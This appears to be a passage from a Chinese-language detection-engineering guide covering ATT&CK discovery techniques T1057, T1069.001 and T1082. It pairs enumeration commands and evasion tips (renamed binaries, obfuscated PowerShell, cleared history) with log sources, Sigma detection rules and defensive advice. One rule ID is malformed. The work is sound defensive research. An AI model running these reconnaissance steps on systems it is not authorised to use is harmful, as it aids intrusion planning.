`netstat`、`net`)的执行权限。 - 启用组策略,限制 PowerShell 和 WMIC 的使用。 - 部署 EDR 工具,监控异常网络查询行为。 - 使用防火墙阻止未经授权的 DNS(53)、LDAP(389)或 SMB(445)流量。 - **Linux**: - 限制普通用户对 `netstat` 和 `ss` 的执行权限。 - 使用 `auditd` 监控网络相关命令执行。 2. **检测优化**: - 监控短时间内高频的网络查询行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测 DNS(53)、LDAP(389)或 SMB(445)流量,识别网络连接发现。 3. **降低误报**: - 排除已知的 IT 管理工具或合法脚本触发的行为。 - 配置白名单,过滤常见管理员操作(如 `netstat` 用于诊断)。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `nmap`、PsTools 的 `PsPing`)或自定义脚本,建议监控未知可执行文件的运行和异常网络流量。 ## 参考推荐 - MITRE ATT&CK: T1049 - Atomic Red Team - T1049 测试用例 ================================================ FILE: Windows/09发现/T1057-win-进程发现.md ================================================ # T1057-Win-进程发现 ## 描述 攻击者通过进程发现(T1057)获取系统上运行的进程信息,以了解目标环境的软件运行情况、关键服务或安全工具(如防病毒软件、EDR)。这些信息可用于规划后续攻击,例如识别可利用的服务、规避防御机制或支持横向移动、权限提升。在 Windows 系统中,攻击者可能使用原生工具如 `tasklist`、`wmic`、PowerShell 命令(如 `Get-Process`、`Get-CimInstance Win32_Process`)或 WMI 查询枚举进程。在 Linux 系统中,攻击者可能使用 `ps`、`top`、`htop` 或直接访问 `/proc` 文件系统获取进程信息。进程发现通常是攻击链中的早期阶段,帮助攻击者收集环境情报,识别高价值目标或规避安全控制。本文档聚焦于 Windows 平台的检测与防御,Linux 平台作为辅助参考。 ## 测试案例 ### 环境 - **Windows**:Windows Server 2016 / Windows 10,普通用户或管理员权限 - **Linux**:Ubuntu 20.04,普通用户权限 - **工具**:CMD、PowerShell、WMIC(Windows);`ps`、`top`(Linux) ### 测试案例 1:Windows - 使用 `tasklist` ```dos tasklist ``` **输出示例**: ``` 映像名称 PID 会话名 会话# 内存使用 ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 1,532 K Registry 108 Services 0 83,764 K smss.exe 412 Services 0 1,208 K csrss.exe 548 Services 0 5,644 K ``` **说明**: - 列出所有运行进程,包括 PID、会话和内存使用情况。 - 普通用户权限即可执行。 ### 测试案例 2:Windows - 使用 PowerShell `Get-Process` ```powershell Get-Process ``` **输出示例**: ``` Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 145 8 1584 9560 0.06 7952 1 ChsIME 166 10 2060 10284 1656 1 coherence 120 7 1440 6560 3480 0 coherence 192 12 4848 16080 0.11 9704 1 conhost 583 21 1864 5644 548 0 csrss ``` **说明**: - 枚举进程详细信息,包括句柄、内存和 CPU 使用。 - 普通用户权限。 ### 测试案例 3:Windows - 使用 WMIC ```dos wmic process list brief ``` **输出示例**: ``` HandleCount Name Priority ProcessId ThreadCount WorkingSetSize 0 System Idle Process 0 0 4 8192 2922 System 8 4 169 1568768 0 Registry 8 108 4 81625088 53 smss.exe 11 412 2 1236992 583 csrss.exe 13 548 12 5779456 165 wininit.exe 13 656 1 7458816 ``` **说明**: - 列出进程简要信息,包括句柄数、优先级和内存。 - 普通用户权限,通常无需管理员权限。 ### 测试案例 4:Linux - 使用 `ps` ```bash ps aux ``` **输出示例**: ``` USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 169984 9168 ? Ss 10:00 0:01 /sbin/init root 123 0.0 0.2 245672 12344 ? Ss 10:01 0:00 /usr/sbin/sshd user 1001 0.0 0.1 18232 2348 pts/0 R+ 10:05 0:00 ps aux ``` **说明**: - 列出所有进程,包括用户、PID、CPU 和内存使用。 - 普通用户权限。 ### 测试案例 5:Linux - 使用 `top` ```bash top ``` **输出示例**: ``` Tasks: 95 total, 1 running, 94 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.3 us, 0.2 sy, 0.0 ni, 99.5 id, 0.0 wa, 0.0 hi, 0.0 si MiB Mem : 1987.3 total, 1500.2 free, 300.5 used, 186.6 buff/cache MiB Swap: 2048.0 total, 2048.0 free, 0.0 used. 1686.8 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1 root 20 0 169984 9168 6720 S 0.0 0.5 0:01.23 systemd 123 root 20 0 245672 12344 8920 S 0.0 0.6 0:00.45 sshd 1001 user 20 0 18232 2348 1984 R 0.0 0.1 0:00.02 top ``` **说明**: - 实时显示进程信息,包括 CPU 和内存使用。 - 普通用户权限。 **注意**: - Windows 命令(`tasklist`、`Get-Process`、`wmic`)通常无需管理员权限。 - Linux 命令(`ps`、`top`)可由普通用户执行。 - 输出结果可能因系统负载和配置而异。 ## 测试复现 ### 复现环境 - **Windows**:Windows Server 2016,普通用户权限,CMD 或 PowerShell - **Linux**:Ubuntu 20.04,普通用户权限,终端 ### 复现步骤 1. **Windows - 使用 `tasklist`**: ```dos tasklist > C:\Temp\processes.txt ``` **预期输出**: - 生成 `C:\Temp\processes.txt`,包含进程列表。 - Sysmon 事件 ID 1 记录 `tasklist.exe` 执行。 - 安全日志事件 ID 4688 记录进程创建。 2. **Windows - 使用 PowerShell**: ```powershell Get-Process | Out-File C:\Temp\ps_processes.txt ``` **预期输出**: - 生成 `C:\Temp\ps_processes.txt`,包含进程详细信息。 - PowerShell 日志事件 ID 4104 记录 `Get-Process` 执行。 3. **Linux - 使用 `ps`**: ```bash ps aux > /tmp/processes.txt ``` **预期输出**: - 生成 `/tmp/processes.txt`,包含进程列表。 - `/var/log/auth.log` 或 `auditd` 记录 `ps` 执行。 - `~/.bash_history` 记录命令。 ### 验证 - 检查输出文件内容,确认包含进程信息。 - 验证日志(Windows:安全日志、Sysmon;Linux:`auth.log`、`auditd`)是否记录命令执行。 ## 检测日志 - **Windows**: - **安全日志**: - 事件 ID 4688:进程创建,记录 `tasklist.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,包含命令行参数(如 `tasklist`、`Get-Process`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-Process` 或 `Get-CimInstance`. - **Linux**: - **系统日志**:`/var/log/auth.log` 或 `/var/log/secure`,记录 `ps` 或 `top` 命令执行。 - **命令历史**:`~/.bash_history` 中记录 `ps` 或 `top`。 - **Auditd 日志**:`execve` 事件记录 `ps` 或 `top` 执行。 - **要求**: - Windows:启用 `Audit Process Creation`(安全日志)、PowerShell `Script Block Logging` 和 `Module Logging`、Sysmon 进程监控。 - Linux:启用 `auditd` 或确保 `/var/log/auth.log` 记录用户命令。 ## 测试留痕 - **Windows**: - **进程相关**: - 进程创建:`tasklist.exe`、`powershell.exe`、`wmic.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `tasklist`、`Get-Process`、`wmic process list`. - **文件相关**: - 输出文件:如 `C:\Temp\processes.txt`(`tasklist > processes.txt`)。 - **隐藏手段**: - 重命名 `tasklist.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 重定向输出到文件或通过网络传输以减少本地日志。 - **Linux**: - **命令历史**: - `ps` 或 `top` 记录在 `~/.bash_history`。 - **文件相关**: - 输出文件:如 `/tmp/processes.txt`(`ps aux > processes.txt`)。 - **系统日志**: - `/var/log/auth.log` 或 `/var/log/secure` 记录命令执行。 - **隐藏手段**: - 清空或修改 `~/.bash_history`。 - 使用非交互式 shell 避免记录。 ## 检测规则/思路 ### Sigma 规则 #### Windows ```yml title: Windows进程发现 description: 检测通过tasklist、PowerShell或WMIC执行Windows进程发现的行为 references: - https://attack.mitre.org/techniques/T1057/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1057/T1057.md tags: - attack.discovery - attack.t1057 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\tasklist.exe' - '\wmic.exe' ProcessCommandLine|contains: - 'tasklist' - 'process list' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-Process' - 'Get-CimInstance Win32_Process' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\tasklist.exe' - '\powershell.exe' - '\wmic.exe' CommandLine|contains: - 'tasklist' - 'Get-Process' - 'process list' condition: selection_cmd or selection_powershell or selection_sysmon timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText level: medium falsepositives: - 管理员运行 tasklist 或 PowerShell 进行系统诊断 - 合法 IT 管理工具触发类似行为 ``` #### Linux ```yml title: Linux进程发现 description: 检测通过ps、top或/proc访问执行Linux进程发现的行为 references: - https://attack.mitre.org/techniques/T1057/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1057/T1057.md tags: - attack.discovery - attack.t1057 status: experimental author: 0x783kb logsource: product: linux service: auth detection: selection: EventType: execve Command|contains: - 'ps' - 'top' - '/proc' condition: selection timeframe: 5m fields: - Command level: medium falsepositives: - 系统管理员运行 ps 或 top 进行诊断 - 自动化脚本执行类似命令 ``` ### 检测思路 1. **Windows 进程监控**: - 监控 `tasklist.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `tasklist`、`Get-Process` 或 `process list` 的行为。 2. **Windows PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-Process` 或 `Get-CimInstance Win32_Process` 的执行。 3. **Linux 命令监控**: - 使用 `auditd` 或系统日志监控 `ps`、`top` 和 `/proc` 访问的执行。 4. **行为分析**: - 检测短时间内高频的进程查询行为(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 ## 建议 1. **防御措施**: - **Windows**: - 限制普通用户对 `tasklist`、`wmic` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行。 - 部署 EDR 工具,监控异常进程查询行为。 - **Linux**: - 限制普通用户对 `ps` 和 `top` 的执行权限。 - 使用 `auditd` 监控进程相关命令执行。 2. **检测优化**: - 监控短时间内高频的进程查询行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测可能的输出文件创建(如 `processes.txt`)。 3. **降低误报**: - 排除管理员用于诊断的合法 `tasklist` 或 `ps` 操作。 - 配置白名单,过滤已知IT管理工具。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `procdump`、Sysinternals 的 `pslist`),建议监控未知可执行文件的运行。 ## 参考推荐 - MITRE ATT&CK: T1057 - MITRE ATT&CK: T1518(安全软件发现) - Atomic Red Team - T1057 测试用例 ================================================ FILE: Windows/09发现/T1069.001-Win-本地特权组用户枚举.md ================================================ # T1069.001-Win-AD特权组/用户枚举 ## 描述 攻击者通过本地组权限发现(T1069.001)枚举 Windows 系统上的本地组及其成员,以识别高权限账户(如 Administrators 组成员)或权限配置漏洞。这些信息可帮助攻击者确定哪些用户具有本地管理权限,为后续权限提升、横向移动或持久化攻击做准备。在 Windows 系统中,攻击者可能使用原生工具如 `net user`、`net localgroup`、`net group`(域环境),或 PowerShell 命令(如 `Get-LocalGroupMember`、`Get-NetLocalGroupMember`)和 WMI 查询(如 `Win32_GroupUser`)来枚举本地组及其成员。攻击者可能特别关注 Administrators 组,以识别可用于提权的账户。本文档聚焦于 Windows 平台下本地特权组和用户枚举的检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10,域或非域环境 - 权限:普通用户权限(部分命令需管理员权限) - 工具:CMD、PowerShell、WMIC ### 测试案例 1:使用 `net user` **关联技术**:T1069.001(本地用户枚举) ```dos net user ``` **输出示例**: ``` \\DESKTOP-4C7J879 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest heihei WDAGUtilityAccount 命令成功完成。 ``` **说明**: - 列出本地系统上的所有用户账户。 - 普通用户权限即可执行。 ### 测试案例 2:使用 `net localgroup administrators` **关联技术**:T1069.001(本地特权组枚举) ```dos net localgroup administrators ``` **输出示例**: ``` 别名 administrators 注释 管理员对计算机/域有不受限制的完全访问权 成员 ------------------------------------------------------------------------------- Administrator heihei 命令成功完成。 ``` **说明**: - 列出 Administrators 组的成员。 - 普通用户权限,通常无需管理员权限。 ### 测试案例 3:使用 `net group`(域环境) **关联技术**:T1069.001(域组枚举) ```dos net group "Domain Admins" /domain ``` **输出示例**: ``` 组名 Domain Admins 注释 指定的网络管理员 成员 ------------------------------------------------------------------------------- admin1 admin2 命令成功完成。 ``` **说明**: - 枚举域环境中 Domain Admins 组的成员。 - 需要域用户权限。 ### 测试案例 4:使用 PowerShell `Get-LocalGroupMember` **关联技术**:T1069.001(本地特权组枚举) ```powershell Get-LocalGroupMember -Group "Administrators" ``` **输出示例**: ``` ObjectClass Name PrincipalSource ----------- ---- --------------- 用户 DESKTOP-4C7J879\Administrator Local 用户 DESKTOP-4C7J879\heihei Local ``` **说明**: - 列出 Administrators 组的成员及其来源。 - 普通用户权限。 ### 测试案例 5:使用 WMIC **关联技术**:T1069.001(本地组枚举) ```dos wmic group where name="Administrators" get name,sid ``` **输出示例**: ``` Name SID Administrators S-1-5-32-544 ``` **说明**: - 列出 Administrators 组的名称和 SID。 - 普通用户权限。 **注意**: - `net user` 和 `net localgroup` 通常无需管理员权限。 - `net group /domain` 需域用户权限且在域环境中运行。 - PowerShell 和 WMIC 命令可能因系统配置需要管理员权限。 - 输出结果可能因系统和域配置而异。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10,域或非域环境 - 权限:普通用户权限,CMD 或 PowerShell - 工具:CMD、PowerShell ### 复现步骤 1. **使用 `net user`**: ```dos net user > C:\Temp\users.txt ``` **预期输出**: - 生成 `C:\Temp\users.txt`,包含本地用户列表。 - 安全日志事件 ID 4798 记录组成员枚举。 - Sysmon 事件 ID 1 记录 `net.exe` 执行。 2. **使用 `net localgroup administrators`**: ```dos net localgroup administrators > C:\Temp\admins.txt ``` **预期输出**: - 生成 `C:\Temp\admins.txt`,包含 Administrators 组成员。 - 安全日志事件 ID 4799 记录本地组枚举。 - Sysmon 事件 ID 1 记录 `net.exe` 执行。 3. **使用 PowerShell**: ```powershell Get-LocalGroupMember -Group "Administrators" | Out-File C:\Temp\ps_admins.txt ``` **预期输出**: - 生成 `C:\Temp\ps_admins.txt`,包含 Administrators 组成员。 - PowerShell 日志事件 ID 4104 记录 `Get-LocalGroupMember` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行。 ### 验证 - 检查输出文件内容,确认包含用户或组信息。 - 验证日志: - 安全日志:事件 ID 4688(进程创建)、4798(用户组枚举)、4799(本地组枚举)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 - 确认系统版本支持 4798/4799 事件(Windows Server 2016/Windows 10 及以上)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `net.exe`、`net1.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - 事件 ID 4798:用户本地组成员身份被枚举(如 `net user`)。 - 事件 ID 4799:启用了安全机制的本地组成员身份被枚举(如 `net localgroup administrators`)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `net user`、`net localgroup`)。 - 事件 ID 11:文件创建,记录输出文件(如 `net user > users.txt`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-LocalGroupMember` 或 `Get-NetLocalGroupMember`。 - **要求**: - 启用 `Audit Security Group Management`(事件 ID 4798/4799,Windows Server 2016/Windows 10 及以上)。 - 启用 `Audit Process Creation`(事件 ID 4688)。 - 部署 Sysmon,配置进程创建(事件 ID 1)和文件创建(事件 ID 11)监控。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - 事件 ID 4798/4799 仅适用于 Windows Server 2016/Windows 10 及以上版本,需确保系统版本支持。 - 日志输出可能因系统配置(如审计策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`net.exe`、`net1.exe`、`powershell.exe`、`wmic.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `net user`、`net localgroup administrators`、`Get-LocalGroupMember`。 - **文件相关**: - 输出文件:如 `C:\Temp\users.txt`(`net user > users.txt`)或 `C:\Temp\admins.txt`。 - **网络痕迹**: - 域环境中的 LDAP 查询(端口 389/636),用于 `net group /domain`。 - **安全日志**: - 事件 ID 4798:用户本地组成员枚举。 - 事件 ID 4799:安全本地组成员枚举。 - **隐藏手段**: - 重命名 `net.exe` 或 `net1.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del users.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/思路 ### Sigma 规则 ```yaml title: Windows 本地特权组和用户枚举 id: 9f3g4h9j-6i7k-9j8e-g0i1-3j5i7k4m9f2g description: 检测通过 net、PowerShell 或 WMI 枚举 Windows 本地特权组和用户的行为 references: - https://attack.mitre.org/techniques/T1069/001/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069.001/T1069.001.md tags: - attack.discovery - attack.t1069.001 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\net.exe' - '\net1.exe' - '\wmic.exe' ProcessCommandLine|contains: - 'user' - 'localgroup' - 'group' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-LocalGroupMember' - 'Get-NetLocalGroupMember' - 'Get-CimInstance Win32_GroupUser' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\net.exe' - '\net1.exe' - '\powershell.exe' - '\wmic.exe' CommandLine|contains: - 'user' - 'localgroup administrators' - 'group /domain' - 'Win32_GroupUser' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' TargetFilename|contains: - 'user' - 'admin' selection_group: EventID: - 4798 # 用户本地组成员枚举 - 4799 # 安全本地组成员枚举 condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_group timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - EventID level: medium falsepositives: - 管理员运行 net 或 PowerShell 进行用户和组管理 - 合法 IT 管理工具触发类似行为 ``` ### 检测思路 1. **进程监控**: - 监控 `net.exe`、`net1.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `user`、`localgroup` 或 `group` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-LocalGroupMember`、`Get-NetLocalGroupMember` 或 `Get-CimInstance Win32_GroupUser` 的执行。 3. **文件监控**: - 检测文本文件创建(事件 ID 11),特别是文件名包含 `user` 或 `admin` 的文件。 4. **组枚举监控**: - 监控事件 ID 4798/4799,检测本地组或用户成员枚举。 5. **行为分析**: - 检测短时间内高频的组枚举行为(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 - 在域环境中,监控 LDAP(389/636)流量,识别 `net group /domain`。 ## 建议 1. **防御措施**: - 限制普通用户对 `net.exe`、`net1.exe` 和 `wmic.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-LocalGroupMember`)。 - 部署 EDR 工具,监控异常用户或组枚举行为。 - 在域环境中,使用防火墙阻止未经授权的 LDAP(389/636)流量。 - 定期审计本地和域组成员,移除不必要的管理员账户。 2. **检测优化**: - 监控短时间内高频的组枚举行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `users.txt`、`admins.txt`)。 - 在域环境中,监控 LDAP 查询,识别 `net group /domain` 行为。 3. **降低误报**: - 排除管理员用于用户管理的合法 `net` 或 PowerShell 操作。 - 配置白名单,过滤已知 IT 管理工具。 - 验证事件 ID 4798/4799 的触发来源,确保与攻击行为相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 PowerView、ADRecon)进行枚举,建议监控类似 LDAP 查询或组枚举行为。 - 检测未知可执行文件的运行和异常文件创建。 ## 参考推荐 - MITRE ATT&CK: T1069-001 - Atomic Red Team - T1069.001 测试用例 ================================================ FILE: Windows/09发现/T1082-win-系统信息发现.md ================================================ # T1082-Win-系统信息发现 ## 描述 攻击者通过系统信息发现(T1082)获取 Windows 系统的操作系统、硬件和配置的详细信息,包括操作系统版本、构建号、架构、已安装补丁、修补程序、服务包、主机名、域角色和目录结构。这些信息帮助攻击者了解目标环境,识别漏洞(如未修补系统),定制恶意软件,或计划后续行动,如权限提升、横向移动或持久化攻击。常用的 Windows 工具包括 `systeminfo`、`ver`、`dir`、PowerShell 命令(如 `Get-ComputerInfo`、`Get-CimInstance`)、WMIC(如 `wmic os get`)和注册表查询(如 `reg query`)。本文档聚焦于 Windows 平台下系统信息发现的检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2012 / Windows 10 - 权限:普通用户(大多数命令无需管理员权限) - 工具:CMD、PowerShell、WMIC ### 测试案例 1:使用 `systeminfo` **关联技术**:T1082(系统配置枚举) ```dos systeminfo ``` **输出示例**: ``` 主机名: DESKTOP-4C7J879 OS 名称: Microsoft Windows 10 专业版 OS 版本: 10.0.19042 暂缺 Build 19042 OS 制造商: Microsoft Corporation OS 配置: 独立工作站 OS 构建类型: Multiprocessor Free 注册的所有人: heihei 注册的组织: 产品 ID: 00330-80000-00000-AA820 初始安装日期: 2025/5/21, 14:39:36 系统启动时间: 2025/5/26, 4:08:09 系统制造商: Parallels International GmbH. 系统型号: Parallels Virtual Platform 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz BIOS 版本: Parallels International GmbH. 20.2.2 (55879), 2025/2/22 Windows 目录: C:\WINDOWS 系统目录: C:\WINDOWS\system32 启动设备: \Device\HarddiskVolume2 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00) 伊尔库茨克 ``` **说明**: - 枚举系统详细信息,包括 OS 版本、补丁、硬件、内存、域信息等。 - 普通用户权限即可执行。 - 关联 T1082:获取系统配置和补丁状态。 ### 测试案例 2:使用 `ver` **关联技术**:T1082(OS 版本枚举) ```dos ver ``` **输出示例**: ``` Microsoft Windows [版本 10.0.19042.1706] ``` **说明**: - 显示 Windows 操作系统版本和构建号。 - 普通用户权限。 - 关联 T1082:快速获取 OS 版本。 ### 测试案例 3:使用 `dir` **关联技术**:T1082(目录结构枚举) ```dos dir C:\Windows ``` **输出示例**: ``` 卷的序列号是 2A88-F737 C:\Windows 的目录 2025/05/26 00:34 . 2025/05/26 00:34 .. 2019/12/07 22:45 addins 2025/05/22 09:39 appcompat ``` **说明**: - 列出指定目录(`C:\Windows`)的文件和子目录结构。 - 普通用户权限。 - 关联 T1082:了解文件系统布局。 ### 测试案例 4:使用 PowerShell `Get-ComputerInfo` **关联技术**:T1082(系统配置枚举) ```powershell Get-ComputerInfo ``` **输出示例**: ``` WindowsBuildLabEx : 19041.1.amd64fre.vb_release.191206-1406 WindowsCurrentVersion : 6.3 WindowsEditionId : Professional WindowsInstallationType : Client WindowsInstallDateFromRegistry : 2025/5/21 6:39:36 WindowsProductId : 00330-80000-00000-AA820 WindowsProductName : Windows 10 Pro WindowsRegisteredOrganization : WindowsRegisteredOwner : heihei ``` **说明**: - 提供详细的系统信息,包括版本、补丁、安装日期、硬件等。 - 普通用户权限。 - 关联 T1082:全面收集系统配置。 ### 测试案例 5:使用 WMIC `wmic os get` **关联技术**:T1082(OS 信息枚举) ```dos wmic os get Caption,Version,BuildNumber,OSArchitecture ``` **输出示例**: ``` BootDevice BuildNumber BuildType Caption CodeSet CountryCode CreationClassName CSCreationClassName CSDVersion CSName CurrentTimeZone DataExecutionPrevention_32BitApplications DataExecutionPrevention_Available DataExecutionPrevention_Drivers DataExecutionPrevention_SupportPolicy Debug Description Distributed EncryptionLevel ForegroundApplicationBoost FreePhysicalMemory FreeSpaceInPagingFiles FreeVirtualMemory InstallDate LargeSystemCache LastBootUpTime LocalDateTime Locale Manufacturer MaxNumberOfProcesses MaxProcessMemorySize MUILanguages Name NumberOfLicensedUsers NumberOfProcesses NumberOfUsers OperatingSystemSKU Organization OSArchitecture OSLanguage OSProductSuite OSType OtherTypeDescription PAEEnabled PlusProductID PlusVersionNumber PortableOperatingSystem Primary ProductType RegisteredUser SerialNumber ServicePackMajorVersion ServicePackMinorVersion SizeStoredInPagingFiles Status SuiteMask SystemDevice SystemDirectory SystemDrive TotalSwapSpaceSize TotalVirtualMemorySize TotalVisibleMemorySize Version WindowsDirectory \Device\HarddiskVolume2 19042 Multiprocessor Free Microsoft Windows 10 专业版 936 86 Win32_OperatingSystem Win32_ComputerSystem DESKTOP-4C7J879 480 TRUE TRUE TRUE 2 FALSE FALSE 256 2 4721812 1966080 7315924 20250521143936.000000+480 20250526040809.562317+480 20250526171828.096000+480 0804 Microsoft Corporation 4294967295 137438953344 {"zh-CN"} Microsoft Windows 10 专业版|C:\WINDOWS|\Device\Harddisk0\Partition4 140 2 48 64 位 2052 256 18 FALSE TRUE 1 heihei 00330-80000-00000-AA820 0 0 1966080 OK 272 \Device\HarddiskVolume4 C:\WINDOWS\system32 C: 10335572 8369492 10.0.19042 C:\WINDOWS ``` **说明**: - 枚举 OS 的名称、版本、构建号和架构。 - 普通用户权限。 - 关联 T1082:获取关键 OS 信息。 ### 测试案例 6:使用 `reg query` **关联技术**:T1082(系统版本和补丁枚举) ```dos reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" ``` **输出示例**: ``` SystemRoot REG_SZ C:\WINDOWS BaseBuildRevisionNumber REG_DWORD 0x1 BuildBranch REG_SZ vb_release BuildGUID REG_SZ ffffffff-ffff-ffff-ffff-ffffffffffff BuildLab REG_SZ 19041.vb_release.191206-1406 BuildLabEx REG_SZ 19041.1.amd64fre.vb_release.191206-1406 ``` **说明**: - 查询注册表获取系统版本、构建号和安装信息。 - 普通用户权限。 - 关联 T1082:通过注册表收集系统信息。 **注意**: - 上述命令通常无需管理员权限。 - 输出结果可能因系统配置(如语言、补丁状态)而异。 - 攻击者可能将输出重定向到文件(如 `systeminfo > info.txt`)以便后续分析。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2012 / Windows 10 - 权限:普通用户权限,CMD 或 PowerShell - 工具:CMD、PowerShell、WMIC ### 复现步骤 1. **使用 `systeminfo`**: ```dos systeminfo > C:\Temp\sysinfo.txt ``` **预期输出**: - 生成 `C:\Temp\sysinfo.txt`,包含系统详细信息。 - 安全日志事件 ID 4688 记录 `systeminfo.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 2. **使用 `ver`**: ```dos ver > C:\Temp\version.txt ``` **预期输出**: - 生成 `C:\Temp\version.txt`,包含 OS 版本。 - 安全日志事件 ID 4688 记录 `cmd.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建。 3. **使用 PowerShell**: ```powershell Get-ComputerInfo | Out-File C:\Temp\compinfo.txt ``` **预期输出**: - 生成 `C:\Temp\compinfo.txt`,包含系统配置。 - PowerShell 日志事件 ID 4104 记录 `Get-ComputerInfo` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行,事件 ID 11 记录文件创建。 ### 验证 - 检查输出文件内容,确认包含系统信息。 - 验证日志: - 安全日志:事件 ID 4688(进程创建)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)、13(注册表查询)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `systeminfo.exe`、`cmd.exe`、`powershell.exe`、`wmic.exe` 或 `reg.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `systeminfo`、`Get-ComputerInfo`)。 - 事件 ID 11:文件创建,记录输出文件(如 `info.txt`)。 - 事件 ID 13:注册表修改或查询,记录 `reg query` 访问 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion`。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-ComputerInfo` 或 `Get-CimInstance`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 部署 Sysmon,配置进程创建(事件 ID 1)、文件创建(事件 ID 11)和注册表事件(事件 ID 13)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2012 需启用审核策略(如命令行审计)以记录进程命令行参数。 - 日志输出可能因系统配置(如审计策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`systeminfo.exe`、`cmd.exe`、`powershell.exe`、`wmic.exe`、`reg.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `systeminfo`、`Get-ComputerInfo`、`reg query`。 - **文件相关**: - 输出文件:如 `C:\Temp\sysinfo.txt`(`systeminfo > sysinfo.txt`)。 - **注册表相关**: - 查询路径:`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion`(`reg query`)。 - **隐藏手段**: - 重命名 `systeminfo.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del sysinfo.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/思路 ### Sigma 规则 ```yaml title: Windows系统信息发现 description: 